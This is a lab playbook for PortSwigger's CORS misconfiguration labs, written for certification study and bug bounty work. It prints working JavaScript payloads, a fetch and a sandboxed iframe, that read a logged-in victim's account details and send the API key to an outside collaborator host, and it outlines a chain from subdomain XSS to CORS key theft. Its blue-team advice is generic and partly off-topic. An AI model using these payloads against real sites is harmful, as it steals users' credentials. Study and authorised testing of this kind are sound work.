CORS Misconfiguration — Complete Deep Dive

CORS Misconfiguration — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• Studying for BSCP (Burp Suite Certified Practitioner) certification
• Testing real-world targets for these vulnerability classes
• Bug bounty hunting — these exact techniques find real bugs
• Building exploitation chains

Prerequisites

• Burp Suite Professional (Community works for most)
• Browser with proxy configured
• Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Basic origin reflection 🟢 APPRENTICE

<script>
fetch('https://TARGET/accountDetails',{credentials:'include',headers:{'Origin':'https://evil.com'}})
.then(r=>r.json())
.then(d=>fetch('https://COLLAB/?key='+d.apikey));
</script>

Server reflects any Origin in Access-Control-Allow-Origin with credentials: true.

Lab 2: Trusted null origin 🟡 PRACTITIONER

<iframe sandbox="allow-scripts allow-forms" srcdoc="<script>fetch('https://TARGET/accountDetails',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://COLLAB/?'+d.apikey));</script>">

Sandboxed iframe sends Origin: null, which the server trusts.

Lab 3: Trusted insecure protocols 🟡 PRACTITIONER

Find subdomain with XSS over HTTP. CORS trusts *.target.com including HTTP. Chain: subdomain XSS → CORS bypass → steal api key.

Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research Methodology

When a standard technique doesn't work:

1. Identify the filter: What chars/patterns are blocked?
2. Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
3. Fuzz extensively: Use Burp Intruder with custom charset/tag lists
4. Chain vulnerabilities: Combine two medium findings into one critical
5. Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity